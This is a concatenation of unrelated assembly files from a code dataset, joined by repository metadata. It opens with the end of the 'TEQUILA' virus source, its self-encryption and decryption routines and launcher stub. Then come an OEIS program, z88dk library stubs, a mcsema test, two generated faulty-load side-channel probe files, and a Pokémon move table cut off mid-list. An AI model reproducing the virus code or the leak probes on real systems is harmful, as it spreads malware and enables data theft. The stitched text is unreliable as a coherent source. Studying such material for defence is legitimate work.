CALL PERFORM_ENCRYPTION_DECRYPTION
MOV AH,040
MOV BX,W[09A4]
MOV DX,0
MOV CX,09A4
PUSHF
CALL D[09B4] ;Masm Mod. Needed
JB 0A37 ;Masm Mod. Needed
SUB AX,CX
PUSHF
CMP B[0A39],028 ;Masm Mod. Needed
JNE 0A44 ;Masm Mod. Needed
MOV B[0A39],0 ;Masm Mod. Needed
CALL PERFORM_ENCRYPTION_DECRYPTION
POPF
RET
PERFORM_ENCRYPTION_DECRYPTION:
MOV BX,0
MOV SI,0960
MOV CX,0960
MOV DL,B[SI]
XOR B[BX],DL
INC SI
INC BX
CMP SI,09A0
JB 0A61 ;Masm Mod. Needed
MOV SI,0960
LOOP 0A52 ;Masm Mod. Needed
RET
THE_FILE_DECRYPTING_ROUTINE:
PUSH CS
POP DS
MOV BX,4
MOV SI,0964
MOV CX,0960
MOV DL,B[SI]
ADD B[BX],DL
INC SI
INC BX
CMP SI,09A4
JB 0A7E ;Masm Mod. Needed
MOV SI,0964
LOOP 0A6F ;Masm Mod. Needed
JMP 0390 ;Masm Mod. Needed
;========== THE FOLLOWING IS NOT PART OF THE VIRUS ========
;========== BUT IS MERELY THE BOOSTER. ========
START:
LEA W[0104],EXIT ;Masm Mod. Needed
MOV W[0106],CS ;Masm Mod. Needed
MOV BX,CS
SUB W[0106],BX ;Masm Mod. Needed
JMP INSTALL
EXIT:
INT 020
TEQUILA ENDP
CODE_SEG ENDS
END TEQUILA | 19.601469 | 60 | 0.563806 |
fd386ee79b192a9f1810fb44da88754f6669a541 | 1,330 | asm | Assembly | programs/oeis/301/A301622.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/301/A301622.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/301/A301622.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A301622: Numbers not divisible by 2, 3 or 5 (A007775) with digital root 4.
; 13,31,49,67,103,121,139,157,193,211,229,247,283,301,319,337,373,391,409,427,463,481,499,517,553,571,589,607,643,661,679,697,733,751,769,787,823,841,859,877,913,931,949,967,1003,1021,1039,1057,1093,1111,1129,1147,1183,1201,1219,1237,1273,1291,1309,1327,1363,1381,1399,1417,1453,1471,1489,1507,1543,1561,1579,1597,1633,1651,1669,1687,1723,1741,1759,1777,1813,1831,1849,1867,1903,1921,1939,1957,1993,2011,2029,2047,2083,2101,2119,2137,2173,2191,2209,2227,2263,2281,2299,2317,2353,2371,2389,2407,2443,2461,2479,2497,2533,2551,2569,2587,2623,2641,2659,2677,2713,2731,2749,2767,2803,2821,2839,2857,2893,2911,2929,2947,2983,3001,3019,3037,3073,3091,3109,3127,3163,3181,3199,3217,3253,3271,3289,3307,3343,3361,3379,3397,3433,3451,3469,3487,3523,3541,3559,3577,3613,3631,3649,3667,3703,3721,3739,3757,3793,3811,3829,3847,3883,3901,3919,3937,3973,3991,4009,4027,4063,4081,4099,4117,4153,4171,4189,4207,4243,4261,4279,4297,4333,4351,4369,4387,4423,4441,4459,4477,4513,4531,4549,4567,4603,4621,4639,4657,4693,4711,4729,4747,4783,4801,4819,4837,4873,4891,4909,4927,4963,4981,4999,5017,5053,5071,5089,5107,5143,5161,5179,5197,5233,5251,5269,5287,5323,5341,5359,5377,5413,5431,5449,5467,5503,5521,5539,5557,5593,5611
mul $0,5
mov $1,$0
div $1,4
mul $1,18
add $1,13
| 147.777778 | 1,203 | 0.778195 |
9b87b9777cd98bd7bfd9b8b20d113280c828333f | 161 | asm | Assembly | libsrc/graphics/g800/clsgraph_850.asm | rdacomp/z88dk | 6299bee73a7a3c3290b2a874f781a369dba2d898 | [
"ClArtistic"
] | null | null | null | libsrc/graphics/g800/clsgraph_850.asm | rdacomp/z88dk | 6299bee73a7a3c3290b2a874f781a369dba2d898 | [
"ClArtistic"
] | null | null | null | libsrc/graphics/g800/clsgraph_850.asm | rdacomp/z88dk | 6299bee73a7a3c3290b2a874f781a369dba2d898 | [
"ClArtistic"
] | 1 | 2019-12-03T23:28:20.000Z | 2019-12-03T23:28:20.000Z | SECTION code_clib
PUBLIC cleargraphics
PUBLIC _cleargraphics
cleargraphics:
_cleargraphics:
xor a
ld b,24*6
ld de,0
call 0xbfee
ret
| 13.416667 | 24 | 0.68323 |
8869c6cb7b3a445f84bd5101964ae29dd43aaf9b | 197 | asm | Assembly | libsrc/_DEVELOPMENT/adt/p_queue/c/sdcc_iy/p_queue_clear_fastcall.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/_DEVELOPMENT/adt/p_queue/c/sdcc_iy/p_queue_clear_fastcall.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/_DEVELOPMENT/adt/p_queue/c/sdcc_iy/p_queue_clear_fastcall.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z |
; void p_queue_clear_fastcall(p_queue_t *q)
SECTION code_clib
SECTION code_adt_p_queue
PUBLIC _p_queue_clear_fastcall
EXTERN asm_p_queue_clear
defc _p_queue_clear_fastcall = asm_p_queue_clear
| 16.416667 | 48 | 0.86802 |
caca7ccd06eaca65d61088c7688473cb8c4bcb78 | 293 | asm | Assembly | mc-sema/validator/x86/tests/CVTTSS2SIrm.asm | randolphwong/mcsema | eb5b376736e7f57ff0a61f7e4e5a436bbb874720 | [
"BSD-3-Clause"
] | 2 | 2021-08-07T16:21:29.000Z | 2021-11-17T10:58:37.000Z | mc-sema/validator/x86/tests/CVTTSS2SIrm.asm | randolphwong/mcsema | eb5b376736e7f57ff0a61f7e4e5a436bbb874720 | [
"BSD-3-Clause"
] | null | null | null | mc-sema/validator/x86/tests/CVTTSS2SIrm.asm | randolphwong/mcsema | eb5b376736e7f57ff0a61f7e4e5a436bbb874720 | [
"BSD-3-Clause"
] | null | null | null | BITS 32
;TEST_FILE_META_BEGIN
;TEST_TYPE=TEST_F
;TEST_IGNOREFLAGS=
;TEST_FILE_META_END
; put 2 into ecx for future load into xmm0
mov ecx, 2
cvtsi2ss xmm0, ecx
;TEST_BEGIN_RECORDING
lea ecx, [esp-8]
movss [ecx], xmm0
cvttss2si ecx, [ecx]
;TEST_END_RECORDING
xor ecx, ecx
cvtsi2ss xmm0, ecx
| 15.421053 | 42 | 0.778157 |
779f3168e450df07bb8e751680730216be92bf73 | 6,357 | asm | Assembly | Transynther/x86/_processed/NONE/_zr_xt_/i7-7700_9_0xca_notsx.log_21829_1660.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_zr_xt_/i7-7700_9_0xca_notsx.log_21829_1660.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_zr_xt_/i7-7700_9_0xca_notsx.log_21829_1660.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r15
push %r9
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x14f83, %r15
nop
and $28714, %r9
movb $0x61, (%r15)
nop
sub $10366, %r15
lea addresses_A_ht+0xf163, %rsi
lea addresses_UC_ht+0x502c, %rdi
add $1908, %r10
mov $90, %rcx
rep movsq
nop
nop
nop
xor $30964, %rbx
lea addresses_WT_ht+0x15cc3, %r9
nop
nop
xor $53652, %rdi
movw $0x6162, (%r9)
nop
cmp %rsi, %rsi
lea addresses_D_ht+0x1ba03, %r10
clflush (%r10)
inc %r9
movups (%r10), %xmm6
vpextrq $0, %xmm6, %rcx
nop
cmp $6750, %rbx
lea addresses_WT_ht+0x11e03, %rsi
lea addresses_UC_ht+0x13003, %rdi
nop
nop
sub $32146, %r12
mov $76, %rcx
rep movsl
nop
nop
add $14773, %r12
lea addresses_normal_ht+0xafe3, %rsi
nop
nop
nop
dec %r10
movw $0x6162, (%rsi)
nop
nop
nop
xor $862, %rbx
lea addresses_UC_ht+0x5403, %rcx
clflush (%rcx)
cmp $33643, %rdi
mov (%rcx), %r12
xor $60708, %rbx
lea addresses_A_ht+0xda93, %rsi
lea addresses_WC_ht+0x13803, %rdi
nop
nop
and %r10, %r10
mov $7, %rcx
rep movsl
nop
nop
nop
nop
dec %rcx
lea addresses_UC_ht+0x1ee03, %rsi
lea addresses_WT_ht+0xed03, %rdi
nop
nop
nop
nop
add %r15, %r15
mov $58, %rcx
rep movsq
nop
nop
add %r10, %r10
lea addresses_WC_ht+0x162b3, %r10
nop
nop
nop
cmp $26016, %r15
mov (%r10), %r12d
nop
nop
nop
add %r12, %r12
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r9
pop %r15
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r13
push %r15
push %rax
push %rcx
// Faulty Load
lea addresses_A+0x9a03, %r10
nop
nop
nop
cmp %r13, %r13
mov (%r10), %r15
lea oracles, %rax
and $0xff, %r15
shlq $12, %r15
mov (%rax,%r15,1), %r15
pop %rcx
pop %rax
pop %r15
pop %r13
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0, 'same': False, 'type': 'addresses_A'}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0, 'same': True, 'type': 'addresses_A'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'dst': {'NT': True, 'AVXalign': True, 'size': 1, 'congruent': 6, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'STOR'}
{'src': {'congruent': 5, 'same': False, 'type': 'addresses_A_ht'}, 'dst': {'congruent': 0, 'same': True, 'type': 'addresses_UC_ht'}, 'OP': 'REPM'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 5, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'STOR'}
{'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 7, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 9, 'same': False, 'type': 'addresses_WT_ht'}, 'dst': {'congruent': 9, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM'}
{'dst': {'NT': False, 'AVXalign': True, 'size': 2, 'congruent': 3, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'STOR'}
{'src': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 9, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 2, 'same': False, 'type': 'addresses_A_ht'}, 'dst': {'congruent': 8, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM'}
{'src': {'congruent': 9, 'same': False, 'type': 'addresses_UC_ht'}, 'dst': {'congruent': 8, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM'}
{'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 4, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'}
{'00': 1, '35': 21828}
00 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35
*/
| 41.012903 | 2,999 | 0.656442 |
df22ec079b67afecb3539aba7f8cfea39bcac76e | 7,009 | asm | Assembly | Transynther/x86/_processed/AVXALIGN/_zr_/i9-9900K_12_0xa0.log_21829_776.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/AVXALIGN/_zr_/i9-9900K_12_0xa0.log_21829_776.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/AVXALIGN/_zr_/i9-9900K_12_0xa0.log_21829_776.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r15
push %rax
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0xb9bb, %rbx
clflush (%rbx)
nop
nop
nop
add %r15, %r15
movl $0x61626364, (%rbx)
nop
nop
nop
nop
and $47251, %r11
lea addresses_WC_ht+0x99bb, %rsi
lea addresses_A_ht+0x1c9d9, %rdi
nop
nop
nop
nop
nop
dec %r11
mov $28, %rcx
rep movsq
nop
nop
nop
add $58188, %r11
lea addresses_WT_ht+0x1f41, %rsi
lea addresses_D_ht+0xdae3, %rdi
clflush (%rdi)
nop
nop
nop
mfence
mov $54, %rcx
rep movsl
nop
nop
dec %rdi
lea addresses_A_ht+0x60be, %rsi
lea addresses_WC_ht+0x19e8f, %rdi
nop
nop
nop
nop
nop
sub %r12, %r12
mov $68, %rcx
rep movsb
nop
nop
and %rsi, %rsi
lea addresses_WT_ht+0x191bb, %r12
nop
nop
nop
nop
nop
sub $5221, %rbx
movl $0x61626364, (%r12)
nop
nop
nop
nop
sub $31363, %rcx
lea addresses_UC_ht+0x18b01, %r15
nop
nop
nop
nop
nop
xor $55768, %r12
mov (%r15), %di
cmp $59513, %r15
lea addresses_UC_ht+0xb1db, %rax
and %rsi, %rsi
mov $0x6162636465666768, %r12
movq %r12, %xmm0
and $0xffffffffffffffc0, %rax
movaps %xmm0, (%rax)
nop
nop
nop
nop
nop
dec %r12
lea addresses_D_ht+0x1964b, %rsi
nop
nop
nop
cmp $11942, %rcx
mov (%rsi), %eax
nop
nop
sub $38555, %rcx
lea addresses_normal_ht+0x1b1bb, %r15
and %rcx, %rcx
movb (%r15), %r11b
nop
nop
nop
nop
nop
xor %rbx, %rbx
lea addresses_WC_ht+0x801b, %rsi
lea addresses_WC_ht+0x115bb, %rdi
clflush (%rsi)
nop
add %r12, %r12
mov $76, %rcx
rep movsq
nop
inc %rcx
lea addresses_normal_ht+0x151bb, %rdi
nop
nop
xor %rbx, %rbx
movb $0x61, (%rdi)
nop
nop
nop
nop
xor %rax, %rax
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r15
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %rax
push %rbp
push %rcx
push %rsi
// Load
lea addresses_RW+0x223b, %rcx
nop
nop
nop
nop
nop
and %rbp, %rbp
movups (%rcx), %xmm7
vpextrq $0, %xmm7, %r10
nop
sub %r10, %r10
// Faulty Load
lea addresses_US+0x1d9bb, %r10
add %rsi, %rsi
mov (%r10), %eax
lea oracles, %rcx
and $0xff, %rax
shlq $12, %rax
mov (%rcx,%rax,1), %rax
pop %rsi
pop %rcx
pop %rbp
pop %rax
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_US', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'}
{'src': {'NT': False, 'same': False, 'congruent': 5, 'type': 'addresses_RW', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'NT': True, 'same': True, 'congruent': 0, 'type': 'addresses_US', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 10, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 4}}
{'src': {'same': False, 'congruent': 11, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'same': True, 'congruent': 1, 'type': 'addresses_A_ht'}}
{'src': {'same': False, 'congruent': 1, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 3, 'type': 'addresses_D_ht'}}
{'src': {'same': False, 'congruent': 0, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 2, 'type': 'addresses_WC_ht'}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 11, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 4}}
{'src': {'NT': False, 'same': False, 'congruent': 1, 'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': True, 'congruent': 4, 'type': 'addresses_UC_ht', 'AVXalign': True, 'size': 16}}
{'src': {'NT': False, 'same': False, 'congruent': 1, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'}
{'src': {'NT': False, 'same': False, 'congruent': 10, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 1}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 4, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 10, 'type': 'addresses_WC_ht'}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 11, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 1}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 34.527094 | 2,999 | 0.658724 |
34ae4e26617bf136fbf7e49b8653198510c53769 | 13,740 | asm | Assembly | data/pokemon/evos_attacks_nihon.asm | AtmaBuster/pokeplat-gen2 | fa83b2e75575949b8f72cb2c48f7a1042e97f70f | [
"blessing"
] | 6 | 2021-06-19T06:41:19.000Z | 2022-02-15T17:12:33.000Z | data/pokemon/evos_attacks_nihon.asm | AtmaBuster/pokeplat-gen2-old | 01e42c55db5408d72d89133dc84a46c699d849ad | [
"blessing"
] | null | null | null | data/pokemon/evos_attacks_nihon.asm | AtmaBuster/pokeplat-gen2-old | 01e42c55db5408d72d89133dc84a46c699d849ad | [
"blessing"
] | 3 | 2021-01-15T18:45:40.000Z | 2021-10-16T03:35:27.000Z | SECTION "Evolutions and Attacks 5", ROMX
EvosAttacksPointers5::
dw FlambearEvosAttacks
dw VolbearEvosAttacks
dw DynabearEvosAttacks
dw CruizeEvosAttacks
dw AqualloEvosAttacks
dw AquariusEvosAttacks
dw KotoraEvosAttacks
dw RaitoraEvosAttacks
dw BomshealEvosAttacks
dw CorasunEvosAttacks
dw CoramolaEvosAttacks
dw MambokingEvosAttacks
dw BiteelEvosAttacks
dw GrotessEvosAttacks
dw RinringEvosAttacks
dw BellrunEvosAttacks
dw BlottleEvosAttacks
dw PendrakenEvosAttacks
dw KurstrawEvosAttacks
dw PangshiEvosAttacks
dw WolfanEvosAttacks
dw WarwolfEvosAttacks
dw CheepEvosAttacks
dw JabettaEvosAttacks
dw SnobitEvosAttacks
dw BlizbitEvosAttacks
dw GlacihareEvosAttacks
dw StemineelEvosAttacks
dw ArskeedEvosAttacks
dw DrakarveEvosAttacks
dw PeticornEvosAttacks
dw GupgoldEvosAttacks
dw TritalesEvosAttacks
dw GrimbyEvosAttacks
dw ParamiteEvosAttacks
dw NyanyaEvosAttacks
dw PuddipupEvosAttacks
dw ChixEvosAttacks
dw KatuEvosAttacks
dw TangtripEvosAttacks
dw GelaniaEvosAttacks
dw BelmittEvosAttacks
dw TurbanEvosAttacks
dw PraxeEvosAttacks
dw NumbpuffEvosAttacks
dw MettoEvosAttacks
dw MadameEvosAttacks
dw GuardiaEvosAttacks
dw OhmegaEvosAttacks
FlambearEvosAttacks:
dbbw EVOLVE_LEVEL, 14, VOLBEAR
db 0 ; no more evolutions
dbw 1, SCRATCH
dbw 1, LEER
dbw 6, SAND_ATTACK
dbw 11, EMBER
dbw 15, BITE
dbw 20, FLAME_WHEEL
dbw 25, SCARY_FACE
dbw 29, FURY_SWIPES
dbw 34, REST
dbw 39, SLASH
dbw 43, FLAMETHROWER
db 0 ; no more level-up moves
VolbearEvosAttacks:
dbbw EVOLVE_LEVEL, 36, DYNABEAR
db 0 ; no more evolutions
dbw 1, SCRATCH
dbw 1, LEER
dbw 1, SAND_ATTACK
dbw 1, EMBER
dbw 6, SAND_ATTACK
dbw 11, EMBER
dbw 17, BITE
dbw 22, FLAME_WHEEL
dbw 28, SCARY_FACE
dbw 33, FURY_SWIPES
dbw 39, REST
dbw 44, SLASH
dbw 50, FLAMETHROWER
db 0 ; no more level-up moves
DynabearEvosAttacks:
db 0 ; no more evolutions
dbw 1, SCRATCH
dbw 1, LEER
dbw 1, SAND_ATTACK
dbw 1, EMBER
dbw 6, SAND_ATTACK
dbw 11, EMBER
dbw 17, BITE
dbw 22, FLAME_WHEEL
dbw 28, SCARY_FACE
dbw 33, FURY_SWIPES
dbw 36, CRUNCH
dbw 43, REST
dbw 51, SLASH
dbw 58, FLAMETHROWER
db 0 ; no more level-up moves
CruizeEvosAttacks:
dbbw EVOLVE_LEVEL, 18, AQUALLO
db 0 ; no more evolutions
dbw 1, POUND
dbw 1, GROWL
dbw 7, MIST
dbw 10, WATER_GUN
dbw 13, POWDER_SNOW
dbw 19, SWIFT
dbw 22, BUBBLEBEAM
dbw 25, AURORA_BEAM
dbw 31, SAFEGUARD
dbw 34, HAZE
